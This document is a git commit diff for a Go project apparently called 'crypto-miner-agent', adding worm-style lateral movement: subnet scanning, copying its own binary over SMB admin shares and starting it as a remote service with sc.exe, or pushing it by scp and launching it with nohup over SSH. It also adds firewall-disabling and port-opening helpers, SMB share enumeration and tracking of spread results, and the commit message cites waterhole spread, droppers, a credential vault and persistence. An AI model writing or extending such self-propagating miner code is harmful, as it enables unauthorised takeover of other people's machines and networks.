feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
AetherForge
2026-06-04 21:53:31 -07:00
parent 8466c7aa9b
commit 1551bd5dad
138 changed files with 7523 additions and 489 deletions

View File

@@ -1,4 +1,4 @@
//go:build !windows
//go:build !windows && !linux
package deploy

View File

@@ -1,4 +1,4 @@
//go:build !windows
//go:build !windows && !linux
package deploy

View File

@@ -95,10 +95,19 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
for _, ip := range getLocalIPs() {
localSet[ip] = true
}
var filtered []string
for _, target := range targets {
if localSet[target] {
continue
}
filtered = append(filtered, target)
}
beginSpreadSweep("smb_scm", len(filtered))
if len(filtered) == 0 {
finishSpreadSweepImmediate()
return
}
for _, target := range filtered {
spreadSem <- struct{}{}
go func(t string) {
defer func() { <-spreadSem }()
@@ -111,12 +120,14 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
// 1. Quick pre-check: Is port 445 (SMB) open?
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
if err != nil {
recordSpreadAttempt(target, false, "port 445 closed")
return
}
conn.Close()
exePath, err := os.Executable()
if err != nil {
recordSpreadAttempt(target, false, "executable path unavailable")
return
}
@@ -130,7 +141,8 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
// Fallback to C$ hidden temp folder if System32 is restricted
cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, cShare); err != nil {
return // Access denied or host unreachable
recordSpreadAttempt(target, false, "smb copy denied")
return
}
remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
}
@@ -146,5 +158,8 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
recordSpreadAttempt(target, true, "")
} else {
recordSpreadAttempt(target, false, "remote service start failed")
}
}

View File

@@ -9,7 +9,6 @@ import (
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"crypto-miner-agent/config"
@@ -90,10 +89,19 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
for _, ip := range getLocalIPs() {
localSet[ip] = true
}
var filtered []string
for _, target := range targets {
if localSet[target] {
continue
}
filtered = append(filtered, target)
}
beginSpreadSweep("ssh", len(filtered))
if len(filtered) == 0 {
finishSpreadSweepImmediate()
return
}
for _, target := range filtered {
spreadSem <- struct{}{}
go func(t string) {
defer func() { <-spreadSem }()
@@ -105,6 +113,7 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second)
if err != nil {
recordSpreadAttempt(target, false, "port 22 closed")
return
}
conn.Close()
@@ -119,6 +128,7 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
}
scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
if err := scp.Run(); err != nil {
recordSpreadAttempt(target, false, "scp failed")
return
}
}
@@ -127,6 +137,9 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
if err := start.Run(); err == nil {
log.Printf("[autospread] deployed to %s via SSH", target)
recordSpreadAttempt(target, true, "")
} else {
recordSpreadAttempt(target, false, "ssh start failed")
}
}

View File

@@ -0,0 +1,11 @@
//go:build linux
package deploy
import "fmt"
func DisableDefenderRealtime() (string, error) {
return "", fmt.Errorf("defender control is Windows-only (no Windows Defender on Linux)")
}
func SilentAVExclusion(_, _ string) {} // no-op on Linux

View File

@@ -0,0 +1,83 @@
//go:build linux
package deploy
import (
"fmt"
"os/exec"
"strings"
)
func OpenFirewallPort(port int, name string) (string, error) {
if port <= 0 || port > 65535 {
return "", fmt.Errorf("invalid port %d", port)
}
if ufw, err := exec.LookPath("ufw"); err == nil {
rule := fmt.Sprintf("%d/tcp", port)
out, runErr := exec.Command(ufw, "allow", rule, "comment", name).CombinedOutput()
if runErr != nil {
return "", fmt.Errorf("ufw allow: %v (%s)", runErr, strings.TrimSpace(string(out)))
}
return fmt.Sprintf("ufw allow %s (%s)", rule, name), nil
}
if ipt, err := exec.LookPath("iptables"); err == nil {
out, runErr := exec.Command(ipt, "-I", "INPUT", "-p", "tcp", "--dport", fmt.Sprintf("%d", port), "-j", "ACCEPT").CombinedOutput()
if runErr != nil {
return "", fmt.Errorf("iptables: %v (%s)", runErr, strings.TrimSpace(string(out)))
}
return fmt.Sprintf("iptables INPUT accept tcp/%d", port), nil
}
return "", fmt.Errorf("no ufw or iptables found on host")
}
func SetWindowsFirewallProfiles(enable bool, profiles string) (string, error) {
_ = profiles
if ufw, err := exec.LookPath("ufw"); err == nil {
arg := "disable"
if enable {
arg = "enable"
}
out, runErr := exec.Command(ufw, arg).CombinedOutput()
if runErr != nil {
return "", fmt.Errorf("ufw %s: %v (%s)", arg, runErr, strings.TrimSpace(string(out)))
}
return fmt.Sprintf("ufw %s", arg), nil
}
return "", fmt.Errorf("firewall profile control requires ufw on Linux")
}
func DisableWindowsFirewall() (string, error) {
return SetWindowsFirewallProfiles(false, "all")
}
func EnableWindowsFirewall() (string, error) {
return SetWindowsFirewallProfiles(true, "all")
}
func RemoveFirewallRuleByName(name string) (string, error) {
name = strings.TrimSpace(name)
if name == "" {
return "", fmt.Errorf("rule name required")
}
if ufw, err := exec.LookPath("ufw"); err == nil {
out, runErr := exec.Command(ufw, "status", "numbered").CombinedOutput()
if runErr != nil {
return "", fmt.Errorf("ufw status: %v", runErr)
}
for _, line := range strings.Split(string(out), "\n") {
if strings.Contains(line, name) {
fields := strings.Fields(line)
if len(fields) > 0 {
num := strings.Trim(fields[0], "[]")
delOut, delErr := exec.Command(ufw, "delete", num).CombinedOutput()
if delErr != nil {
return "", fmt.Errorf("ufw delete: %v (%s)", delErr, strings.TrimSpace(string(delOut)))
}
return fmt.Sprintf("removed ufw rule %s matching %q", num, name), nil
}
}
}
return "", fmt.Errorf("no ufw rule matching %q", name)
}
return "", fmt.Errorf("firewall rule removal requires ufw on Linux")
}

View File

@@ -0,0 +1,22 @@
//go:build linux
package deploy
import (
"strings"
"testing"
)
func TestOpenFirewallPortInvalid(t *testing.T) {
_, err := OpenFirewallPort(0, "test")
if err == nil || !strings.Contains(err.Error(), "invalid port") {
t.Fatalf("expected invalid port error, got %v", err)
}
}
func TestRemoveFirewallRuleByNameEmpty(t *testing.T) {
_, err := RemoveFirewallRuleByName("")
if err == nil || !strings.Contains(err.Error(), "rule name required") {
t.Fatalf("expected rule name error, got %v", err)
}
}

View File

@@ -0,0 +1,26 @@
package deploy
import "strings"
func parseNetViewShares(text string) []string {
var shares []string
for _, line := range strings.Split(text, "\n") {
line = strings.TrimSpace(line)
if line == "" ||
strings.HasPrefix(line, "Share name") ||
strings.HasPrefix(line, "-----") ||
strings.HasPrefix(line, "The command completed") {
continue
}
fields := strings.Fields(line)
if len(fields) == 0 {
continue
}
name := fields[0]
if strings.EqualFold(name, "System") && len(fields) > 1 {
continue
}
shares = append(shares, name)
}
return shares
}

View File

@@ -0,0 +1,16 @@
//go:build !windows
package deploy
import "encoding/json"
// EnumerateSMBShares is Windows-only (SMB net view on LAN hosts).
func EnumerateSMBShares(maxHosts int) string {
_ = maxHosts
b, _ := json.Marshal(map[string]interface{}{
"error": "smb_shares is Windows-only",
"hosts": []interface{}{},
"count": 0,
})
return string(b)
}

View File

@@ -0,0 +1,20 @@
package deploy
import "testing"
func TestParseNetViewShares(t *testing.T) {
sample := `Share name Type Used as Comment
-------------------------------------------------------------------------------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
The command completed successfully.`
shares := parseNetViewShares(sample)
if len(shares) != 3 {
t.Fatalf("shares = %v", shares)
}
if shares[0] != "ADMIN$" || shares[1] != "C$" {
t.Fatalf("unexpected order: %v", shares)
}
}

View File

@@ -0,0 +1,109 @@
//go:build windows
package deploy
import (
"encoding/json"
"net"
"strings"
"time"
)
type smbHostShares struct {
Host string `json:"host"`
Shares []string `json:"shares,omitempty"`
Accessible bool `json:"accessible"`
Error string `json:"error,omitempty"`
}
type smbSharesResult struct {
Hosts []smbHostShares `json:"hosts"`
Count int `json:"count"`
}
// EnumerateSMBShares probes LAN hosts for reachable SMB shares (net view).
func EnumerateSMBShares(maxHosts int) string {
if maxHosts <= 0 {
maxHosts = 32
}
targets := smbShareTargets(maxHosts)
hosts := make([]smbHostShares, 0, len(targets))
for _, host := range targets {
hosts = append(hosts, probeSMBShares(host))
}
result := smbSharesResult{Hosts: hosts, Count: len(hosts)}
b, _ := json.Marshal(result)
return string(b)
}
func smbShareTargets(maxHosts int) []string {
targets := arpHosts()
local := getLocalIPs()
localSet := make(map[string]bool, len(local))
for _, ip := range local {
localSet[ip] = true
}
filtered := make([]string, 0, len(targets))
seen := make(map[string]bool)
for _, t := range targets {
if localSet[t] || seen[t] {
continue
}
seen[t] = true
filtered = append(filtered, t)
}
if len(filtered) < 3 {
for _, ip := range local {
if !isIPv4(ip) {
continue
}
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255 && len(filtered) < maxHosts; i++ {
candidate, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if candidate == ip || seen[candidate] {
continue
}
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
if err == nil {
conn.Close()
seen[candidate] = true
filtered = append(filtered, candidate)
}
}
}
}
if len(filtered) > maxHosts {
filtered = filtered[:maxHosts]
}
return filtered
}
func probeSMBShares(host string) smbHostShares {
conn, err := net.DialTimeout("tcp", host+":445", 1500*time.Millisecond)
if err != nil {
return smbHostShares{Host: host, Error: "port 445 closed"}
}
conn.Close()
out, err := HiddenOutput("net", "view", "\\\\"+host)
text := strings.TrimSpace(string(out))
if err != nil {
msg := text
if msg == "" {
msg = err.Error()
}
return smbHostShares{Host: host, Error: msg}
}
shares := parseNetViewShares(text)
return smbHostShares{
Host: host,
Shares: shares,
Accessible: len(shares) > 0,
}
}

View File

@@ -0,0 +1,108 @@
package deploy
import (
"encoding/json"
"runtime"
"sync"
"time"
)
type spreadHostResult struct {
Host string `json:"host"`
Success bool `json:"success"`
Error string `json:"error,omitempty"`
}
type spreadStatusSnapshot struct {
StartedAt string `json:"started_at,omitempty"`
FinishedAt string `json:"finished_at,omitempty"`
InProgress bool `json:"in_progress"`
HostsTried int `json:"hosts_tried"`
Successes int `json:"successes"`
Errors int `json:"errors"`
Platform string `json:"platform"`
Method string `json:"method"`
Hosts []spreadHostResult `json:"hosts"`
}
var (
spreadMu sync.RWMutex
spreadSnap spreadStatusSnapshot
spreadPending int
)
const maxSpreadHostResults = 64
func spreadMethodForPlatform() string {
if runtime.GOOS == "windows" {
return "smb_scm"
}
return "ssh"
}
func beginSpreadSweep(method string, targetCount int) {
spreadMu.Lock()
spreadSnap = spreadStatusSnapshot{
StartedAt: time.Now().UTC().Format(time.RFC3339),
InProgress: targetCount > 0,
HostsTried: targetCount,
Platform: runtime.GOOS,
Method: method,
Hosts: nil,
}
spreadPending = targetCount
if targetCount == 0 {
spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
}
spreadMu.Unlock()
}
func recordSpreadAttempt(host string, success bool, errMsg string) {
spreadMu.Lock()
defer spreadMu.Unlock()
if success {
spreadSnap.Successes++
} else if errMsg != "" {
spreadSnap.Errors++
}
if len(spreadSnap.Hosts) < maxSpreadHostResults {
spreadSnap.Hosts = append(spreadSnap.Hosts, spreadHostResult{
Host: host,
Success: success,
Error: errMsg,
})
}
if spreadPending > 0 {
spreadPending--
if spreadPending == 0 {
spreadSnap.InProgress = false
spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
}
}
}
func finishSpreadSweepImmediate() {
spreadMu.Lock()
spreadSnap.InProgress = false
if spreadSnap.FinishedAt == "" {
spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
}
spreadPending = 0
spreadMu.Unlock()
}
// GetSpreadStatusJSON returns the last lateral spread sweep summary (in-memory).
func GetSpreadStatusJSON() string {
spreadMu.RLock()
snap := spreadSnap
spreadMu.RUnlock()
if snap.StartedAt == "" {
snap.Platform = runtime.GOOS
snap.Method = spreadMethodForPlatform()
if snap.Hosts == nil {
snap.Hosts = []spreadHostResult{}
}
}
b, _ := json.Marshal(snap)
return string(b)
}

View File

@@ -0,0 +1,43 @@
package deploy
import (
"encoding/json"
"testing"
)
func TestSpreadStatusLifecycle(t *testing.T) {
beginSpreadSweep("ssh", 2)
recordSpreadAttempt("10.0.0.2", true, "")
recordSpreadAttempt("10.0.0.3", false, "auth failed")
raw := GetSpreadStatusJSON()
var snap spreadStatusSnapshot
if err := json.Unmarshal([]byte(raw), &snap); err != nil {
t.Fatal(err)
}
if snap.HostsTried != 2 {
t.Fatalf("hosts_tried = %d", snap.HostsTried)
}
if snap.Successes != 1 || snap.Errors != 1 {
t.Fatalf("successes=%d errors=%d", snap.Successes, snap.Errors)
}
if snap.InProgress {
t.Fatal("expected sweep finished")
}
if len(snap.Hosts) != 2 {
t.Fatalf("hosts len = %d", len(snap.Hosts))
}
}
func TestSpreadStatusEmptySweep(t *testing.T) {
beginSpreadSweep("smb_scm", 0)
finishSpreadSweepImmediate()
raw := GetSpreadStatusJSON()
var snap spreadStatusSnapshot
if err := json.Unmarshal([]byte(raw), &snap); err != nil {
t.Fatal(err)
}
if snap.InProgress {
t.Fatal("expected not in progress")
}
}